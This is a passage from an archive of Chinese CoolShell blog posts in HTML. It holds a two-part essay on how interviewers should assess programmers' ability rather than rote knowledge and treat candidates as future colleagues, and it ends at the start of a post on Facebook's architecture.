    "content": "<html><body><p>我以前写过一篇“<a href=\"https://coolshell.cn/articles/1870.html\" target=\"_blank\" title=\"我是怎么招聘程序员的\">我是怎么招聘程序员的</a>”的文章（在<a href=\"http://blog.csdn.net/haoel/archive/2009/12/18/5032418.aspx\" target=\"_blank\" title=\"我是怎么招聘程序员（CSDN）\">CSDN那里</a>有很多人进行了回复）。今天，我想再谈谈关于招聘和面试这方面的东西，主要是以下这些原因：</p>\n<ul>\n<li>近半年来我在进行了大量的招聘工作，对面试有一些新的体会。</li>\n<li>酷壳最近发布了几篇趣味面试题（<a href=\"https://coolshell.cn/articles/4429.html\" target=\"_blank\" title=\"面试题：火车运煤问题\">面试题一</a>，<a href=\"https://coolshell.cn/articles/4162.html\" target=\"_blank\" title=\"又一个有趣的面试题\">面试题二</a>，<a href=\"https://coolshell.cn/articles/3961.html\" target=\"_blank\" title=\"“火柴棍式”程序员面试题\">面试题三</a>），从回复中让我有一些思考。</li>\n<li>我有一个同事最近面试了一家公司，他和我分享了一个博士专家对他的面试，也让我思考了一些。</li>\n<li>在豆瓣上看到“<a href=\"http://www.douban.com/note/146145117/\" target=\"_blank\" title=\"知乎上某人写面试豆瓣产品经理的经历，很欢乐\">知乎上某人写面试豆瓣产品经理的经历，很欢乐</a>”(亮点是面试官现身知乎亲自作答)</li>\n</ul>\n<p>所以，我很想把自己的这些新的想法再次写下来的。还是和以前一样，这篇文章同样是献给面试官的。我认为，面试的好坏完全在面试官而不是面试的人。下面是我对“<a href=\"../articles/1870.html\" target=\"_blank\" title=\"我是怎么招聘程序员的\">我是怎么招聘程序员的</a>”一文中的一些加强性的观点。（关于一些点评，请参看<a href=\"https://coolshell.cn/articles/4490.html\" target=\"_blank\">本文下篇</a>）</p>\n<p>为了让我的文章有连续性，请允许我重申一下前文的几个重要观点。</p>\n<ul>\n<li><strong>只有应聘者真实和自然的表现，才能了解到最真实的东西</strong></li>\n<li><strong>重要的不是知识，重要的是其查找知识的能力</strong></li>\n<li><strong>重要的不是那个解题的答案，而是解题的思路和方法</strong></li>\n</ul>\n<h4>操作，知识，经验，能力</h4>\n<p>我们有很多的面试官似乎分不清，什么是操作能力，什么是知识，什么是经验，什么是能力，这导致了我们的面试官经常错误地对面试者下结论，我认为分不清这些事的人是没有资格做面试官的。所以，我有必要在这里把这个问题先讲清楚。</p>\n<p><span id=\"more-4506\"></span></p>\n<p><img alt=\"\" src=\"https://coolshell.cn/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif\" title=\"更多...\"/></p>\n<ul>\n<li><strong>操作</strong>。我们的面试官分不清楚什么是操作技能，什么是知识，他们甚至认为操作技能就是知识甚至经验。比如他们会 问如下的问题，请问Java中的 final是什么意思？怎么查看进程的CPU利用率？怎么编写一个管道程序？怎么查看进程的程序路径？VI中的拷贝粘贴命令是什么？包括面向对象的XX模 式是什么。等等。我以为，<strong>这些能够通过查况相关操作手册或是能够google到的东西只能说明这个人的操作技术，并不能说明他有知识或有经验</strong>。</li>\n</ul>\n<ul>\n<li><strong>知识</strong>。知识是一个人认知和学习的体现，可能会是一些基础概念和知识。比如这些问题：TCP和UDP的优缺点比 较，链表和哈希表的优缺点的比较。什么是堆什么是栈？进程间是怎么通信的？进程和线程的优缺点？同步和异步的优缺点？面向对象的XX设计模式的主要原则是 什么，等等。我以为，<strong>“知其然”只是操作技术，“知其所以然”才是真正的知识</strong>。知识不够并不代表他不能工作，会操作技能就可以应付工作，但是知识的欠缺一定会限制你的经验和能力，同样会影响你的开发质量。</li>\n</ul>\n<ul>\n<li><strong>经验</strong>。经验通常跟一个人的经历有关系。一个人的知识范围，一个人经历过的事，通常会成为一个人经验的体现。面 试中，我们会问这些问题：你解决过最难的问题是什么？你是怎么设计这个系统的？你是怎么调试和测试你的程序的？你是怎么做性能调优的？什么样的代码是好的 代码？等等。对于工作年限不长的人来说，经历和做过的事的确会成为其经验的主要因素，尤其是业务上的有行业背景的东西。但是，我更以为，<strong>经验可能更多的是你对知识的运用和驾驭，是你对做过事情的反思和总结，是你对他人的学习，观察和交流</strong>。</li>\n</ul>\n<ul>\n<li><strong>能力</strong>。一个人的能力并不会因为知道东西少而不行，也不会因为没有经验而没有能力。<strong>一个人的能力是他做事情的一种态度，性格，想法，思路，行为，方法和风格</strong>。<strong>只要有热情，有想法，有好的行为方法，以及好的行事风格，那么知识和经验对他来说只是一个时间问题</strong>。 比如：学习能力，专研精神，分析能力，沟通能力，组织能力，问题调查能力，合作能力等等。所以，对于一个新手来说，也许他的知识和经验有限，但并不代表他 能力上有问题，但是对于一个老手来说，如果其存在知识和经验欠缺的问题，那么通常都是其能力的问题。你可能暂时怀才不遇，但我不相信你会长期怀才不遇。如 果是的话，那么你必然些问题其让你的能力发挥不出来。而此时，“没有经历过”只会是你“没有能力”的一个借口。</li>\n</ul>\n<p>我不否认这四样东西对于一个优秀的程序员来说都很重要。但是，通过上述的分析，我们可以知道，能力和经验和知识需要分开对待。当然，这些东西是相辅相成的，你的能力可以让你获得知识，你的知识可以让你更有经验，你的经验又会改变你的想法和思路，从而改善你的能力。<strong>在面试中，我们需要清楚的认识到，应聘者的操作技能，知识和经验只是其能力的必要条件，并不是充要条件，而我们更应该关注于应聘者的能力</strong>。</p>\n<ul>\n<li>如果面试只是考查这个人的操作技能的话，那么这个面试完全失败。这是一个没有资格的面试官。</li>\n<li>如果面试只是在考查这个人的知识和经验的话，那么成功了一半。因为你了解了基础知和做过的事，但这并不代表你完全了解他的真正能力。</li>\n<li>如果你能够在了解这个人的知识和经验的过程中重点关注其能力（态度、性格、想法，思路，行为，方法和风格），并能正确地评估这个人的能力，那么你的面试算是非常成功的。</li>\n</ul>\n<p>也许用这四个词来描述定套东西并不太合适，但我相信你明白我想表达的。另外，我想说的是，<strong>我们不是出个题来考倒应聘者，而是要找到应聘者的亮点和长处</strong>。</p>\n<h4>不要肤浅地认识算法题和智力题</h4>\n<p>很多公司都会在面试的时候给一些算法题或是一些智力题或是一些设计题，我相信算法题或是智力题是程序员们在面试过程中最反感的事了。很多人都很BS面试官问的算法题，因为他们认为面试官问的这些算法题或智力题在实际工作当中用不到。但我想在这里说，<strong>问难的算法智力题并没有错，错的很多面试官只是在肤浅甚至错误地理解着面试中的难题的目的</strong>。他们认为，能做出算法题和智力题的人就是聪明的人就是有能力的人，这种想法实在是相当的肤浅。</p>\n<p>其实，能解难题并不意味着这个人就有能力就能在工作中解决问题，你可以想想，小学奥数题可能比这些题更难，但并不意味着那些奥数能手就有实际工作能力。你可 以想一想你们班考试得高分的同学并不一定就是聪明的人，也不一定就是有能力的人，相反，这样的人往往者是在应试教育下培养出来的书呆子。</p>\n<p>所以，我认为解难题的过程更重要，你要主要是通过解题查看这个应聘者的思路，方法，运用到的知识，有没有一些经验，和你一起交互时和沟通得是否顺畅，等等，这些才是你重点要去观察的。当然，最终是要找到答案的。</p>\n<p>我想，让面试者解决一个难题的真正思路是：</p>\n<ul>\n<li><strong>看看他对知识的应用和理解</strong>。比如，他是否会用一些基础的数据结构和算法来解决算法题？</li>\n<li><strong>看看他的整个解题思路和想法</strong>。答案是次要的，他的想法和行为才是重要的。</li>\n<li><strong>看看他是如何和你讨论交流的</strong>。把面试者当成你未来的同事，当成你的工作伙伴，一起解题，一起讨论，这样可以看看大家是否可以在一起工作。</li>\n</ul>\n<p>这些方面才是考查应聘者的能力（思路，方法、态度，性格等），并顺带着考查面试者的经验和知识。下面是一些面试的点：</p>\n<ul>\n<li>应聘者在解算法题时会不会分解或简化这个难题。这是分析能力。</li>\n<li>应聘者在解算法题 时会不会使用一些基础知识，如数据结构和基础算法。这是知识。</li>\n<li>应聘者在解题 时和你讨论的过程中你有没有感到应聘者的专研精神和良好的沟通。</li>\n<li>应聘者在对待这个算法题的心态和态度。如，面试面是否有畏难情绪。</li>\n<li>应聘者在解题时的思路和方法是否得当，是否是比较科学的方法？</li>\n<li>等等。</li>\n</ul>\n<p><strong>在解难题 的过程中考查应聘者的能力才是最终目的，而不是为难应聘者，不然，你只是一个傲慢而无知的面试官</strong>。</p>\n<h4>模拟实际中的挑战和能力</h4>\n<p>作为面试官的你，你应该多想想你的工作，以及你的成长经历。这会对你的面试很有帮助。你在工作中解决问题的实际情况是什么？你写代码的实际情况是什么？你的成长经历是什么？你是怎么获得知识和能力的？你喜欢和什么样的人工作？<strong>相信你不难会发现你工作中的实际情况和面试的情况完全是两码事，那么，你怎么可以用这种与实际情况差别那么大的面试来评估一个人的能力呢</strong>？</p>\n<p>所以，最为理想的面试是一起工作一段时间。当然，这个在招聘过程中，操作起来几乎不可能，因此，这就要求我们的面试官尽可能地把面试的过程模拟成平时工作的 过程。大家一些讨论来解决一个难题，和应聘者一起回顾一下他已经做过的事情，并在回础的过程中相互讨论相互学习。下面举一个例子。</p>\n<p>我们知道，对于软件开发来说，开发软件不难，难是的下面是这些挑战：</p>\n<ol>\n<li>软件的维护成本远远大于软件的开发成本。</li>\n<li>软件的质量变得越来越重要，所以，测试工作也变得越来越重要。</li>\n<li>软件的需求总是在变的，软件的需求总是一点一点往上加的。</li>\n<li>程序中大量的代码都是在处理一些错误的或是不正常的流程。</li>\n</ol>\n<p>所 以，当我们在考查应聘者的代码能力时候，我们为什么不能模拟这样的过程呢？比如，让应聘者实现一个atoi()的函数，实现起来应该很简单，然后 不断地往上加新的需求或新的案例，比如：处理符号，处理非数字的字母的情况，处理有空格的情况，处理十六进制，处理二进制，处理“逗号”，等等，我们要看 应聘者是怎么修改他的代码的，怎么写测试案例的，怎么重构的，随着要处理的东西越来越多，他的代码是否还是那么易读和清晰。如果只是考查编码能力，一个小时，就问这一个问题，足矣。真正的程序员每天都在和这样的事打交道的。</p>\n<p>如果要考查应聘者的设计能力，同样可以如法泡制。不断地加新的功 能，新的需求。看看面试者的思路，想法，分 析的方法，和你的讨论是否流畅，说没说在 点上，思想清不清晰，会应用什么样的知识，他在设计这个系统时的经验是会是什么样的，面对不断的修改和越来越复杂的需求，他的设计是否还是那么好？</p>\n<p>当然，因为时间比较短，所以，你不能出太复杂的问题，这需要你精心设计一些精制的有代表性的问题。</p>\n<p>（末完，<a href=\"https://coolshell.cn/articles/4490.html\" target=\"_blank\" title=\"再谈“我是怎么招聘程序员的”（下）\">请参看下篇</a>）</p>\n<p style=\"text-align: right;\"><a href=\"https://coolshell.cn/articles/4490.html\" target=\"_blank\" title=\"再谈“我是怎么招聘程序员的”（下）\"><strong>再谈“我是怎么招聘程序员的”（下）&gt;&gt;&gt;</strong></a></p>\n<p><span style=\"color: #ff0000;\"><strong>（请勿用于商业用途，转载时请注明作者和出处）</strong></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8138.html\"><img alt=\"为什么我反对纯算法面试题\" height=\"150\" src=\"../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8138.html\">为什么我反对纯算法面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4976.html\"><img alt=\"给程序员新手的一些建议\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4976.html\">给程序员新手的一些建议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4490.html\"><img alt=\"再谈“我是怎么招聘程序员的”（下）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4490.html\">再谈“我是怎么招聘程序员的”（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3345.html\"><img alt=\"140个Google的面试题\" height=\"150\" src=\"../wp-content/uploads/2010/12/googlequestion-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3345.html\">140个Google的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1870.html\"><img alt=\"我是怎么招聘程序员的\" height=\"150\" src=\"../wp-content/uploads/2009/12/job-interview-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1870.html\">我是怎么招聘程序员的</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4506.html\">再谈“我是怎么招聘程序员的”（上）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-20 再谈“我是怎么招聘程序员的”（下）.html",
    "content": "<html><body><p><strong><a href=\"https://coolshell.cn/articles/4506.html\" target=\"_blank\" title=\"再谈“我是怎么招聘程序员的”（上）\"><strong>&lt;&lt;&lt;再谈“我是怎么招聘程序员的”（上）</strong></a></strong></p>\n<p>在上篇中，我们说到了一些认识人的方法（操作，知识，经验，能力），还有一些面试的方法（算法题，实际生产活动中的挑战），下面我们来说说，面试的风格，还有一些点评。<strong><strong><br/>\n</strong></strong></p>\n<h4>把应聘者当成你的同事</h4>\n<p>有些公司的面试官，在面试过程中问你一个算法题，然后等着你解答了，如果你给出一个答案，然后就会问你有没有更好的答案，如果你给出了正确的答案，他们就会问你一个更难的问题，如此循环下去。他们基本上很少给你提示，甚至不停地质问你，挑战你，搞得应聘者很紧张。</p>\n<p>另外，有很多问题是没有标准答案的，或者说是，同一个答案的描述方法有多种，很多面试官会觉得你没有回答到他想要的答案，因此表现得有对你不屑，并表现出你不行的样子，并觉得你的能力有问题。真是可笑了。比如我一个朋友在回答什么是异步的问题时，举例说明了异步调用就是不能处理完就返回，并且需要传递一个回调函数给调用方以便完成后回调通知结果。这样的回答并没有错，但是这并不符合面试官心里想要的答案，面试官对此并不满意，进而认为我这个朋友还需要去多读读书。</p>\n<p>我相信大多数面试官都会这样干的。我想问问这样的面试官，<strong>你们有没有用面试的方式对过你的同事？在你的工作场景中，你会不会用面试的风格和你的同事进行交流和说话？</strong>不妨让我们来问我们自己下面几个问题：</p>\n<ul>\n<li>你在工作当中遇到难题时你是怎么解决的？你会和人讨论吗？你只用15分钟就能得出最优解吗？</li>\n<li>你在工作当中解决难题时是否会有一个人在旁边质问你并给你压力吗？</li>\n<li>你在工作当中会为难你的同事吗？会让你的同事紧张吗？你觉得在紧张的状态下能做好工作吗？</li>\n<li>你在工作中觉得同事的回答并不是你想要的答案，不是符合你的答案，你会认为你的同事不行吗？</li>\n<li>你的成长过程是什么样的？在是压力和天天被人质问的情况下成长的吗？</li>\n<li>大家都知道学校里应试教育的弊端，你觉得你的面试是不是一种应试呢？<br/>\n（看看这么多的应聘者们都在做各种各样的算法题，这不就是一种应试吗？）</li>\n</ul>\n<p>想一想你的日常工作，问自己一下上面这些问题，想一想你自己的成长过程，想一想你和你的同事是怎么相处的，想一想你的日常工作中是什么样的，相信你自己也能得出结论的。</p>\n<p>如果你把应聘者当成自己未来的同事，那么你的面试会有下面的收获：</p>\n<p><span id=\"more-4490\"></span></p>\n<ul>\n<li>面试的气氛会很不错，应聘者会放松，表现自然，更接受于真实的状态。</li>\n<li>面试中的交流和互动（而不是一问一答）会让你更全面的考查和了解一个人。</li>\n<li>非应试的面试，会让你了解得更多。</li>\n<li>真实的了解一个人，你才能做出真正正确的结论。</li>\n</ul>\n<h4>向应聘者学习</h4>\n<p>下面有几个观点</p>\n<ul>\n<li>面试的过程是一个相互学习的过程，并不是你为难面试者的过程。</li>\n<li>一问一答是很一种呆板死板的过程，相互讨论相互学习，有良好的互动才是好的面试过程。</li>\n<li>面试官要证明的不是你有多强有多聪明，而是要挖掘应聘者的优势和能力。</li>\n<li>面试官用为自己的问题预设好一个标准答案，看看应聘者能为你带来什么。</li>\n<li>向来应聘的人学习，而不是刁难。</li>\n</ul>\n<p><strong>无论你多牛，要难倒你实在是太容易了。出难题不是目的，难倒人也很容易，出难题只不过是用来了解应聘者能力的一个手段，而不是面试的全部</strong>。</p>\n<p>我不知道你喜欢不喜欢一些竞技类的运动？比如踢球，打篮球，羽毛球，下象棋等，你一般想和什么样的人玩？是差的，还是强的？所以，<strong>能够从面试者那里学到东西，喜欢和面试者一起工作，这才是面试真正的目的</strong>。</p>\n<p>对于一个团队来说，如果大家都是一样的想法，一样的主张，一样的倾向，那么这个团队最终会是一个闭塞的团队，你如果不能真正接纳不同想法的人，不同主张的人，那么你也将失去进步的机会。<strong>如果你的团队总是在招入和你一样的人，那么你的团队怎么可能会有out-of-box的想法呢？世界因为不同而美好</strong>。</p>\n<p>另外，对于公司来说，<strong>如果你招进来的人还不如已经有的人，作为一个公司，你又怎么能有更好的人让你的公司进步呢</strong>？</p>\n<p>所以，面试应该是向面试者学习的一个过程。当然，<strong>如果你从他身上学不到什么，那么你就教他一些吧。这样，就算是面试不通过，面试者也会欣然接受的</strong>。不然，让面试者产生一些负面情绪，出去说一些不好的话，也有损你和公司的形象。</p>\n<h4>一些相关的点评</h4>\n<p>下面是我根据酷壳的一些<a href=\"https://coolshell.cn/tag/interview\" target=\"_blank\">面试题的文章</a>后的回复、还有我朋友的经历，还有这篇有关豆瓣的产品经理的<a href=\"http://www.douban.com/note/146145117/\" target=\"_blank\" title=\"知乎上某人写面试豆瓣产品经理的经历，很欢乐\">这篇文章</a>的一些点评。大家可以看看我从这些地方看到东西靠不靠谱。</p>\n<p><strong>酷壳的面试题中的答复</strong></p>\n<p>先说酷壳的那篇“<a href=\"https://coolshell.cn/articles/3961.html\" target=\"_blank\" title=\"“火柴棍式”程序员面试题\">火柴棍式的面试题</a>”，这个面试题其实很没什么意思。主要考查你对代码逻辑的了解程度。因为设置了回复可见答案，所以这篇文章的回复量达千把条。从回复中，我看到：</p>\n<ul>\n<li>一些朋友想不出来就直接看答案了。我可以看出，有一些朋友习惯获得知识，而不习惯独立思考。甚至有畏难情绪，从另一方面来说，可以看出我国的教育还真不是一般的差。</li>\n<li>一些朋友想不全。从这点来看，我觉得很正常，尤其是想出两种来的，我可以感觉到他们的努力思考了，可能还做了一些尝试。挺不错的。可惜我看不到你思考的方式，是在纸上画了画，还是编译了个程序跑了跑，还是别的什么。这样我会了解你更多。</li>\n<li>一些朋友给出的答案中有错的。这说明了这类朋友可能不喜欢做测试，时常想当然，或是做事比较冲动，并不足够严谨。这么简单的程序，验证能花多少精力呢？</li>\n<li>还有少数的朋友没有看明白题目要求。这说明了这类朋友太粗心了，在工作当中可能会表现为误解需求和别人的话。沟通有问题。</li>\n</ul>\n<p>再说说那篇“<a href=\"https://coolshell.cn/articles/4429.html\" target=\"_blank\" title=\"面试题：火车运煤问题\">火车运煤</a>”的问题，这个面试题我觉得主要是看看大家的解题思路，表达能力。</p>\n<ul>\n<li>首先，我很惊喜有人很快就用数学做了解答，很不错，这个人的数学功底很不错。能用数学解题的人一般来说都是算法比较强的人。</li>\n<li>有人说抱怨我没有说火车可以调头回去，所以没有想到这样的方法。如果是在面试中我会做提示的。我不会因为你不知道调头这个潜规则而否定你的。当然，如果你能想到的话说明你的脑袋还是比较灵的。</li>\n<li>还有很多人说他的方法比较土，只运了400吨煤，416吨的或333吨，一看就是没有看提示的，我觉得这些人能够通过独立思考找到方法，这类的人其实已经不错了。顺着这个思路优化也只是时间的问题了。</li>\n<li>更可喜的是，我看到了有一些朋友在看到别人的更好的方法后和自己的方法进行了比较，并找到了为什么自己的方法不如他的原因。这样的人我认为是懂得“总结”和“比较”的，这样的人总是在不断地学习和改善自己的。</li>\n<li>还有人说到了动态规划，如果是在面试的时候，我很想向这位朋友学习一下用动态规划来解这题。</li>\n<li>还有朋友说到了火车调头只能在有站的地方。这个朋友一看要么就是搞需求分析的人，要么就是较真的人。需要进一步了解。但不管怎么样，这样的朋友的观察能力是很不错的。</li>\n<li>还有一些朋友给出的答案是正确的。但是表达方面比较复杂，有些没有看懂。可见，解题 的能力是有的，只是表达能力还有待提高。</li>\n</ul>\n<p><strong>豆瓣产品经理的面试</strong></p>\n<p>再说说豆瓣上的<a href=\"http://www.douban.com/note/146145117/\" target=\"_blank\" title=\"知乎上某人写面试豆瓣产品经理的经历，很欢乐\">这篇文章</a>，那篇文章里，面试官问了一个比较大的问题，那是仁者见仁，智者见智的问题，并且面试官并不满意应聘者给出的答案，并在用其主观意识强加一些东西给应聘者，并不断地和应聘者纠缠。后来，面试官回复到“重点测了两个问题：一是判别事情的标准和方法；二是在多种PK下产品经理的压力反应”。</p>\n<p>下面是我观察到的：</p>\n<ul>\n<li>其一、这种似事而非的仁者见仁，智者见仁，一万人有一万个答案。所以，这种怎么答都可以的问题是很难有标准的，我认为豆瓣的面试官以这种问题来考查面试者的标准太有问题了。更好的问题是：比较一下新浪和twitter这两个产品。</li>\n<li>其二、多种想法PK的压力反应。这点没有问题，如果有机会我想问问这位面试官，豆瓣产品经理们的PK各自的想法时是以这种纠缠的方式吗？如果是这样的话，那我很为你们担忧啊。</li>\n<li>其三、很明显，应聘者不知道面试官想说什么，所以应聘者总是给出一些模棱两可的回答。回答得很政客，呵呵。</li>\n<li>其四、问的问题都是一些假设性的问题，假设技术人员不可沟通。人家说了，还没有见过不能沟通的情况。结果还要继续追问。这样你既要观察不到你想要的，也搞得大家不愉快。更好的问题的：“请你给一个你和一个很难沟通的人沟通的示例”，或是当应聘者说了“坚持己见”的时候，也应该追问“能给一个你坚持己见的例子吗？”。</li>\n<li>其五、整个面试过程完全是在谈一些虚的东西，就像天上的浮云，一点实实在在的东西都没有。比如下面这两个实实在在的问题：“你以前设计过什么产品？”，“你和你的技术团队是怎么合作的？”</li>\n</ul>\n<p>这是一个完完全全失败的面试，这个面试官根本不懂面试，甚至工作方法也可能很有问题。也许他只是想找一个能够在工作中附和他的人。</p>\n<p><strong>朋友的面试</strong></p>\n<p>最后说说我那个朋友的面试，我的这个朋友学习能力很强，也很好专研，工作中解决了很多很困难甚至很底层的问题。他做软件开发时间并不长，但是他对这个行业很有热情，也很执着，并有着相当不错的技术功底。这天他遇到了一个面试官，根据朋友的描述，这位面试官，主要问题了三个问题，一个是关于异步的，一个是关于性能调优的，还有一个是关于学习能力的。</p>\n<ul>\n<li>问到异步的问题，我这个朋友说到了多线程中的异步调用，但是他可能问的是网络或是业务中的异步，要不然就是Linux 内核中的异步，当然他也没有说清楚，但他很不满意我朋友的答案，并让我朋友回去多看看书。</li>\n<li>问到性能调优的问题时，我这个朋友说了性能调优分三级，业务级，指令级和CPU级，并举例说了使用了一个叫VTune的性能分析工具。面试官却说原来你只懂Windows，有点不屑，并说他只会使用商业工具，更不屑。</li>\n<li>当我朋友向他澄清问题时，面试官只是摇头，叹气。并在应聘者作答的过程中不断的打断对方。</li>\n</ul>\n<p>我的看法如下：</p>\n<ul>\n<li>对于异步来说，我认为这是一种设计或是一种想法，可能会有很多种不同的实现方式，在不同的场景中会有不同的用法。面试官并没有考查应聘者对异步方法的理解，也没有考查异步方法可以用来解决什么，异步方法的优势和劣势，等等。只是觉得应聘者没有给出他想要的答案。</li>\n<li>对于性调优的问题，我认为应聘者的思路和知识都很不错，还有使用VTune的经验。无论使用Windows还是Linux，无论使用商业的还是开源的Profiler，很多东西都是相通的，怎么能够因为这个东西不对自己的口味而下结论。为什么不向人家学习一下VTune呢？使用工具只是操作技能啊。</li>\n<li>面试官应该是用微笑来鼓励应聘者的，而不是用摇头和叹气，频繁打断对方也是一个相当不好的习惯。看来这个面试官很不能接受不同的东西。</li>\n</ul>\n<p>这位有很不错的技术能力的人，看来并不适合做一个面试官，因为他面试的东西都只在知识层次，而且这位面试官有强烈的喜好和倾向，所以，他必然会错过那些有能力但并不合他口味的人。</p>\n<p>哎，面对这样的面试官，大家伤不起啊！</p>\n<p>（全文完）</p>\n<p><span style=\"color: #ff0000;\"><strong>（请勿用于商业用途，转载时请注明作者和出处）</strong></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8138.html\"><img alt=\"为什么我反对纯算法面试题\" height=\"150\" src=\"../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8138.html\">为什么我反对纯算法面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4976.html\"><img alt=\"给程序员新手的一些建议\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4976.html\">给程序员新手的一些建议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4506.html\"><img alt=\"再谈“我是怎么招聘程序员的”（上）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4506.html\">再谈“我是怎么招聘程序员的”（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3345.html\"><img alt=\"140个Google的面试题\" height=\"150\" src=\"../wp-content/uploads/2010/12/googlequestion-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3345.html\">140个Google的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1870.html\"><img alt=\"我是怎么招聘程序员的\" height=\"150\" src=\"../wp-content/uploads/2009/12/job-interview-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1870.html\">我是怎么招聘程序员的</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4490.html\">再谈“我是怎么招聘程序员的”（下）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-25 Facebook 的系统架构.html",
    "content": "<html><body><p><strong>来源</strong>：<a href=\"http://www.quora.com/What-is-Facebooks-architecture\" target=\"_blank\" title=\"What is Facebook's Architecture?\">http://www.quora.com/What-is-Facebooks-architecture</a> （由<a href=\"http://www.quora.com/Micha%C3%ABl-Figui%C3%A8re\">Micha?l Figuière</a>回答）</p>\n<p>根据我现有的阅读和谈话，我所理解的今天Facebook的架构如下：</p>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px;\">\n<li>Web 前端是由 PHP 写的。Facebook 的 <a href=\"http://developers.facebook.com/blog/post/358\" target=\"_blank\">HipHop </a>[1] 会把PHP转成 C++ 并用 g++编译，这样就可以为模板和Web逻贺业务层提供高的性能。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px;\">\n<li>业务逻辑以Service的形式存在，其使用<a href=\"http://thrift.apache.org/\" target=\"_blank\">Thrift </a>[2]。这些Service根据需求的不同由PHP，C++或Java实现（也可以用到了其它的一些语言……）</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 